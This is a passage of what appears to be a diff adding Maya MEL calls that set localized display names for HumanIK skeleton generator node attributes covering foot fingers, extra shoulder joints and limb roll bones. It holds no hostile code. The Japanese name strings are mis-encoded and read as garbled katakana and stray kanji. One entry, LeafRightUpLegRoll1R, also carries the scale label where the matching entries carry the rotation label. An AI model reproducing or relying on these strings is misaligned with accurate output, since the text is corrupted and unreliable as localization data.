+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyRx", "ラスナミ。ヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyRy", "ラスナミ。ヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyRz", "ラスナミ。ヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkyS", "ラスナミ。ヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkySx", "ラスナミ。ヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkySy", "ラスナミ。ヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootPinkySz", "ラスナミ。ヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerT", "ラスナチヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerTx", "ラスナチヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerTy", "ラスナチヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerTz", "ラスナチヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerR", "ラスナチヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerRx", "ラスナチヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerRy", "ラスナチヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerRz", "ラスナチヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerS", "ラスナチヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerSx", "ラスナチヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerSy", "ラスナチヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftInFootExtraFingerSz", "ラスナチヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbT", "モメスナエヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbTx", "モメスナエヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbTy", "モメスナエヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbTz", "モメスナエヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbR", "モメスナエヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbRx", "モメスナエヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbRy", "モメスナエヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbRz", "モメスナエヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbS", "モメスナエヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbSx", "モメスナエヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbSy", "モメスナエヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootThumbSz", "モメスナエヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexT", "モメスナカヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexTx", "モメスナカヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexTy", "モメスナカヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexTz", "モメスナカヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexR", "モメスナカヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexRx", "モメスナカヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexRy", "モメスナカヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexRz", "モメスナカヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexS", "モメスナカヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexSx", "モメスナカヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexSy", "モメスナカヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootIndexSz", "モメスナカヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleT", "モメスナヨミヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleTx", "モメスナヨミヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleTy", "モメスナヨミヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleTz", "モメスナヨミヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleR", "モメスナヨミヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleRx", "モメスナヨミヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleRy", "モメスナヨミヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleRz", "モメスナヨミヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleS", "モメスナヨミヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleSx", "モメスナヨミヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleSy", "モメスナヨミヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootMiddleSz", "モメスナヨミヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingT", "モメスナヒトヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingTx", "モメスナヒトヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingTy", "モメスナヒトヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingTz", "モメスナヒトヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingR", "モメスナヒトヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingRx", "モメスナヒトヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingRy", "モメスナヒトヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingRz", "モメスナヒトヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingS", "モメスナヒトヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingSx", "モメスナヒトヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingSy", "モメスナヒトヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootRingSz", "モメスナヒトヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyT", "モメスナミ。ヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyTx", "モメスナミ。ヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyTy", "モメスナミ。ヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyTz", "モメスナミ。ヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyR", "モメスナミ。ヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyRx", "モメスナミ。ヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyRy", "モメスナミ。ヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyRz", "モメスナミ。ヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkyS", "モメスナミ。ヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkySx", "モメスナミ。ヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkySy", "モメスナミ。ヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootPinkySz", "モメスナミ。ヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerT", "モメスナチヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerTx", "モメスナチヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerTy", "モメスナチヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerTz", "モメスナチヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerR", "モメスナチヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerRx", "モメスナチヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerRy", "モメスナチヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerRz", "モメスナチヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerS", "モメスナチヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerSx", "モメスナチヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerSy", "モメスナチヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightInFootExtraFingerSz", "モメスナチヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraT", "クスシモラシ酥スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraTx", "クスシモラシ酥スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraTy", "クスシモラシ酥スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraTz", "クスシモラシ酥スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraR", "クスシモラシ醪ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraRx", "クスシモラシ醪ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraRy", "クスシモラシ醪ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraRz", "クスシモラシ醪ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraS", "クスシモラシ醉キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraSx", "クスシモラシ醉キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraSy", "クスシモラシ醉キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftShoulderExtraSz", "クスシモラシ醉キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraT", "クスシモモメシ酥スメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraTx", "クスシモモメシ酥スメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraTy", "クスシモモメシ酥スメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraTz", "クスシモモメシ酥スメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraR", "クスシモモメシ醪ラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraRx", "クスシモモメシ醪ラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraRy", "クスシモモメシ醪ラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraRz", "クスシモモメシ醪ラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraS", "クスシモモメシ醉キナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraSx", "クスシモモメシ醉キナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraSy", "クスシモモメシ醉キナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightShoulderExtraSz", "クスシモモメシ醉キナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1T", "メカラエヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Tx", "メカラエヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Ty", "メカラエヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Tz", "メカラエヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1R", "メカラエヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Rx", "メカラエヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Ry", "メカラエヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Rz", "メカラエヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1S", "メカラエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Sx", "メカラエヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Sy", "メカラエヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll1Sz", "メカラエヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1T", "メカラヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Tx", "メカラヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Ty", "メカラヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Tz", "メカラヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1R", "メカラヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Rx", "メカラヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Ry", "メカラヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Rz", "メカラヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1S", "メカラヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Sx", "メカラヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Sy", "メカラヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftLegRoll1Sz", "メカラヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1T", "メカモメエヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Tx", "メカモメエヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Ty", "メカモメエヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Tz", "メカモメエヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1R", "メカモメエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Rx", "メカモメエヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Ry", "メカモメエヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Rz", "メカモメエヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1S", "メカモメエヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Sx", "メカモメエヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Sy", "メカモメエヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightUpLegRoll1Sz", "メカモメエヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1T", "メカモメヘネイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Tx", "メカモメヘネイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Ty", "メカモメヘネイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Tz", "メカモメヘネイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1R", "メカモメヘネイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Rx", "メカモメヘネイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Ry", "メカモメヘネイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Rz", "メカモメヘネイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1S", "メカモメヘネイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Sx", "メカモメヘネイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Sy", "メカモメヘネイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightLegRoll1Sz", "メカモメヘネイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1T", "メカラアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Tx", "メカラアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Ty", "メカラアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Tz", "メカラアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1R", "メカラアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Rx", "メカラアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Ry", "メカラアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Rz", "メカラアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1S", "メカラアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Sx", "メカラアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Sy", "メカラアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftArmRoll1Sz", "メカラアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1T", "メカラヌーアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Tx", "メカラヌーアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Ty", "メカラヌーアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Tz", "メカラヌーアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1R", "メカラヌーアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Rx", "メカラヌーアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Ry", "メカラヌーアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Rz", "メカラヌーアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1S", "メカラヌーアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Sx", "メカラヌーアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Sy", "メカラヌーアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftForeArmRoll1Sz", "メカラヌーアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1T", "メカモメアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Tx", "メカモメアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Ty", "メカモメアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Tz", "メカモメアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1R", "メカモメアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Rx", "メカモメアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Ry", "メカモメアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Rz", "メカモメアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1S", "メカモメアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Sx", "メカモメアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Sy", "メカモメアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightArmRoll1Sz", "メカモメアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1T", "メカモメヌーアロイ犹 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Tx", "メカモメヌーアロイ犹 1 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Ty", "メカモメヌーアロイ犹 1 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Tz", "メカモメヌーアロイ犹 1 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1R", "メカモメヌーアロイ犹 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Rx", "メカモメヌーアロイ犹 1 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Ry", "メカモメヌーアロイ犹 1 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Rz", "メカモメヌーアロイ犹 1 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1S", "メカモメヌーアロイ犹 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Sx", "メカモメヌーアロイ犹 1 ヒキナ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Sy", "メカモメヌーアロイ犹 1 ヒキナ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafRightForeArmRoll1Sz", "メカモメヌーアロイ犹 1 ヒキナ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2T", "メカラエヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Tx", "メカラエヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Ty", "メカラエヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Tz", "メカラエヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2R", "メカラエヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Rx", "メカラエヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Ry", "メカラエヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Rz", "メカラエヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2S", "メカラエヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeafLeftUpLegRoll2Sx", 